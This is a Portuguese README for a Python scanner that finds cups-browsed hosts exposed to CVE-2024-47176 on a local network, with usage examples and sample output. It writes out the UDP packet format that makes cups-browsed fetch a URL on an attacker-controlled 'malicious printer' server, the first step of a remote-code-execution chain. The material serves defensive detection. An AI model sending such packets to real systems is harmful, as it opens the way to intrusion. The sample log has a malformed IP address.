
Um scanner simples para identificar instâncias vulneráveis do cups-browsed na sua rede.
Exemplo de uso: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (Common Unix Printing System) é um framework de código aberto para gerenciar e controlar impressoras em sistemas UNIX e similares. É uma das bibliotecas mais usadas para impressão e é suportada por UNIX, Linux e alguns dispositivos Apple.
Várias vulnerabilidades críticas foram encontradas no CUPS, que quando encadeadas, podem levar à execução remota de código. Os CVEs em questão são CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.
As vulnerabilidades permitem que um atacante remoto adicione ou reconfigure impressoras de rede de forma que elas executem código arbitrário quando os usuários tentarem imprimir a partir delas.
A primeira vulnerabilidade na cadeia, CVE-2024-47176, é uma falha no daemon cups-browsed.
A vulnerabilidade decorre do fato de que o cups-browsed vincula sua porta de controle (porta UDP 631) ao INADDR_ANY, expondo-a ao mundo. Como as requisições não são autenticadas, qualquer pessoa capaz de alcançar a porta de controle pode instruir o cups-browsed a realizar descoberta de impressoras.
Em casos onde a porta não é alcançável pela internet (devido a firewalls ou NAT), ela ainda pode ser alcançável pela rede local, permitindo escalonamento de privilégios e movimento lateral. Por esse motivo, criei este scanner projetado para varrer sua rede local em busca de instâncias vulneráveis do cups-browsed.
Tipicamente, um atacante iniciaria o processo de exploração enviando uma requisição especialmente criada para o cups-browsed na porta UDP 631, fazendo com que ele se conecte a uma URL maliciosa sob seu controle.
Por exemplo, um pacote UDP contendo o seguinte: 0 3 http://<attacker_server>/printers/malicious_printer faria o cups-browsed emitir uma requisição HTTP para http://<attacker_server>/printers/malicious_printer.
Se a URL se apresentasse como uma impressora maliciosa, poderia encadear o restante dos CVEs para obter execução remota de código.
Usando este mecanismo, podemos acionar uma instância vulnerável do cups-browsed para emitir uma requisição HTTP (callback) ao nosso próprio servidor, identificando-se como vulnerável.
O processo de varredura é o seguinte:
/printers/, que são acionadas por instâncias vulneráveis do cups-browsed.Supondo que nosso servidor HTTP esteja hospedado em 10.0.0.1:1337, nosso pacote UDP deve se parecer com isto: 0 3 http://10.0.0.1:1337/printers/test1234
Este scanner Python cuida de tudo para você (tanto o servidor HTTP quanto a varredura).
O script inicia um servidor HTTP temporário via http.server em um IP e porta especificados, então constrói e envia pacotes UDP para cada IP no intervalo especificado. O servidor HTTP capturará automaticamente os callbacks de instâncias vulneráveis do cups-browsed e os registrará em disco.
Logs amigáveis são escritos em logs/cups.log e requisições HTTP brutas são escritas em logs/requests.log
--target
o(s) CIDR(s) a serem varridos. Pode ser um único CIDR ou vários CIDRs separados por vírgulas.
--callback o IP e porta local para hospedar nosso servidor HTTP (deve ser alcançável pela faixa alvo)
--scan-unsafe por padrão, varremos apenas endereços de host atribuíveis (excluímos o endereço de rede e o endereço de broadcast).
Em alguns casos, pode ser desejável varrer esses endereços, então esse comportamento pode ser alterado com a flag --scan-unsafe.
Varrendo CIDR 10.0.0.0/24 a partir do IP 10.0.0.1, hospedando o servidor de callback na porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
Varrendo múltiplos CIDRs a partir do IP 10.0.0.1, hospedando o servidor de callback na porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
nota: o IP do servidor de callback deve pertencer ao host de varredura, e a porta deve ser alcançável a partir de todos os IPs alvo.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
para mais informações veja: Artigo Oficial sobre a Vulnerabilidade CUPS